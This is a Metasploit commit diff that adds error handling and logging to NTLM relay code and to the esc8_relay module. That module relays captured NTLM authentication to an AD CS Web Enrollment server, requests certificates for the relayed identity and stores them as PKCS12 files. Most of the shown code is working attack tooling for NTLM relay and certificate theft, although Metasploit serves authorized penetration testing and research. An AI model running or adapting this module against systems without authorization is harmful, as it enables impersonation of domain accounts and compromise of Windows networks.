Skip to content

Commit 03b2cef

Browse files
committed
Add some error handling and more logging
1 parent d4ce2ec commit 03b2cef

File tree

4 files changed

+80
-39
lines changed

4 files changed

+80
-39
lines changed

lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -140,7 +140,7 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
140140
relayed_connection = session.metadata[:relayed_connection]
141141
logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip}")
142142
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
143-
return nil unless relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
143+
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
144144

145145
# Store the incoming negotiation message, i.e. ntlm_type1
146146
session.metadata[:incoming_negotiate_message] = ntlm_message
@@ -159,7 +159,7 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
159159
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
160160
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
161161

162-
is_success = relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
162+
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
163163
@relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)
164164

165165
if is_success
@@ -177,8 +177,10 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
177177
@listener.on_relay_failure(relay_connection: relayed_connection)
178178
relayed_connection.disconnect!
179179

180-
if relay_result.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
181-
logger.print_warning("Identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{relayed_connection.target}")
180+
if relay_result.nil? || relay_result.nt_status.nil?
181+
logger.print_error("Identity: #{session.metadata[:identity]} - Relay against target #{relayed_connection.target} failed with unknown error")
182+
elsif relay_result.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
183+
logger.print_warning("Identity: #{session.metadata[:identity]} - Relayed client authentication failed on target server #{relayed_connection.target}")
182184
else
183185
error_code = WindowsError::NTStatus.find_by_retval(relay_result.nt_status.value).first
184186
if error_code.nil?

lib/msf/core/exploit/remote/smb/relay/ntlm/target/http/client.rb

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::HTTP
33
class Client
44
extend Forwardable
55

6-
def_delegators :@client, :send_recv, :request_cgi, :request_raw
6+
def_delegators :@client, :request_cgi, :request_raw
77

88
attr_accessor :timeout
99
attr_reader :target
@@ -48,8 +48,23 @@ def relay_ntlmssp_type1(client_type1_msg)
4848
'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type1_msg)
4949
}
5050
)
51+
5152
res = @client.send_recv(req, @timeout, true)
52-
# todo: handle errors here
53+
54+
if res.nil?
55+
msg = "Unable to retrieve server challenge from #{target} (no HTTP response received)"
56+
elog(msg)
57+
logger.print_error msg
58+
return nil
59+
end
60+
61+
unless res.code == 401
62+
msg = "Unable to retrieve server challenge from #{target} (HTTP status #{res.code} received)"
63+
elog(msg)
64+
logger.print_error msg
65+
return nil
66+
end
67+
5368
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
5469
message: Net::NTLM::Message.decode64(res.headers['WWW-Authenticate'].split[1]),
5570
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
@@ -77,6 +92,11 @@ def relay_ntlmssp_type3(client_type3_msg)
7792
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
7893
end
7994

95+
def send_recv(req, t = -1, persist = true)
96+
# enable persistence by default to keep the connection open
97+
@client.send_recv(req, t, persist)
98+
end
99+
80100
protected
81101

82102
attr_reader :logger

lib/msf/core/exploit/remote/smb/server/hash_capture.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,14 +55,12 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
5555

5656
combined_hash << ":#{client_hash}"
5757
combined_hash << ":#{bin_to_hex(challenge)}"
58-
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
5958
when :ntlmv2
6059
hash_type = 'NTLMv2-SSP'
6160
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
6261

6362
combined_hash << ":#{bin_to_hex(challenge)}"
6463
combined_hash << ":#{client_hash}"
65-
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
6664
end
6765

6866
return if hash_type.nil?

modules/auxiliary/server/capture/esc8_relay.rb

Lines changed: 52 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
class MetasploitModule < Msf::Auxiliary
77
include ::Msf::Exploit::Remote::SMB::RelayServer
8+
include ::Msf::Exploit::Remote::HttpClient
89

910
def initialize
1011
super({
@@ -29,7 +30,7 @@ def initialize
2930
[
3031
OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]),
3132
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
32-
OptString.new('CERT_URI', [ true, 'The URI for the cert server.', '/certsrv/' ])
33+
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
3334
]
3435
)
3536

@@ -39,27 +40,59 @@ def initialize
3940
]
4041
)
4142

42-
deregister_options(
43-
'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
44-
)
43+
deregister_options('RHOSTS')
4544
end
4645

4746
def relay_targets
4847
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
49-
:http,
50-
80,
48+
(datastore['SSL'] ? :https : :http),
49+
datastore['RPORT'],
5150
datastore['RELAY_TARGETS'],
52-
'/certsrv/', # TODO: this needs to be pulled from the datastore
51+
datastore['TARGETURI'],
5352
randomize_targets: datastore['RANDOMIZE_TARGETS']
5453
)
5554
end
5655

57-
def run
56+
def initial_handshake?
57+
res = send_request_raw(
58+
{
59+
'rhost' => datastore['RELAY_TARGET'],
60+
'method' => 'GET',
61+
'uri' => normalize_uri(target_uri),
62+
'headers' => {
63+
'Accept-Encoding' => 'identity'
64+
}
65+
}
66+
)
67+
disconnect
68+
69+
res&.code == 401
70+
end
71+
72+
def check_options
5873
if datastore['RHOSTS'].present?
5974
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
6075
end
6176

77+
case datastore['MODE']
78+
when 'SPECIFIC_TEMPLATE'
79+
if datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
80+
fail_with(Failure::BadConfig, 'CERT_TEMPLATE must be set in AUTO and SPECIFIC_TEMPLATE mode')
81+
end
82+
when 'ALL', 'AUTO', 'QUERY_ONLY'
83+
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
84+
print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.')
85+
end
86+
end
87+
end
88+
89+
def run
90+
check_options
6291
@issued_certs = {}
92+
unless initial_handshake?
93+
fail_with(Failure::UnexpectedReply, "#{datastore['RELAY_TARGET']} does not appear to have Web Enrollment enabled on #{target_uri}")
94+
end
95+
6396
start_service
6497
print_status('Server started.')
6598

@@ -102,13 +135,13 @@ def create_csr(private_key, cert_template)
102135

103136
def get_cert_templates(relay_connection)
104137
print_status('Retrieving available template list, this may take a few minutes')
105-
req = relay_connection.request_raw(
138+
res = send_request_raw(
106139
{
140+
'client' => relay_connection,
107141
'method' => 'GET',
108-
'uri' => normalize_uri(datastore['CERT_URI'], 'certrqxt.asp')
142+
'uri' => normalize_uri(target_uri, 'certrqxt.asp')
109143
}
110144
)
111-
res = relay_connection.send_recv(req, relay_connection.timeout, true)
112145
return nil unless res&.code == 200
113146

114147
cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
@@ -145,10 +178,11 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
145178
request = create_csr(private_key, cert_template)
146179
cert_template_string = "CertificateTemplate:#{cert_template}"
147180
vprint_status('Requesting relay target generate certificate...')
148-
req = relay_connection.request_cgi(
181+
res = send_request_raw(
149182
{
183+
'client' => relay_connection,
150184
'method' => 'POST',
151-
'uri' => normalize_uri(datastore['CERT_URI'], 'certfnsh.asp'),
185+
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
152186
'ctype' => 'application/x-www-form-urlencoded',
153187
'vars_post' => {
154188
'Mode' => 'newreq',
@@ -157,10 +191,10 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
157191
'TargetStoreFlags' => 0,
158192
'SaveCert' => 'yes',
159193
'ThumbPrint' => ''
160-
}
194+
},
195+
'cgi' => true
161196
}
162197
)
163-
res = relay_connection.send_recv(req, relay_connection.timeout, true)
164198
if res&.code == 200 && !res.body.include?('request was denied')
165199
print_good("Certificate generated using template #{cert_template} and #{relay_identity}")
166200
add_cert_entry(relay_identity, cert_template)
@@ -170,15 +204,15 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
170204
end
171205

172206
location_tag = res.body.match(/^.*location="(.*)"/)[1]
173-
location_uri = normalize_uri(datastore['CERT_URI'], location_tag)
207+
location_uri = normalize_uri(target_uri, location_tag)
174208
vprint_status("Attempting to download the certificate from #{location_uri}")
175-
req = relay_connection.request_cgi(
209+
res = send_request_raw(
176210
{
211+
'client' => relay_connection,
177212
'method' => 'GET',
178213
'uri' => location_uri
179214
}
180215
)
181-
res = relay_connection.send_recv(req, relay_connection.timeout, true)
182216
info = "#{relay_identity} Certificate"
183217
certificate = OpenSSL::X509::Certificate.new(res.body)
184218
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
@@ -191,17 +225,4 @@ def retrieve_cert(relay_connection, relay_identity, cert_template)
191225
print_good("Certificate for #{relay_identity} using template #{cert_template} saved to #{stored_path}")
192226
certificate
193227
end
194-
195-
def normalize_uri(*strs)
196-
new_str = strs * '/'
197-
198-
new_str = new_str.gsub!('//', '/') while new_str.index('//')
199-
200-
# Makes sure there's a starting slash
201-
unless new_str[0, 1] == '/'
202-
new_str = '/' + new_str
203-
end
204-
205-
new_str
206-
end
207228
end

0 commit comments

Comments
 (0)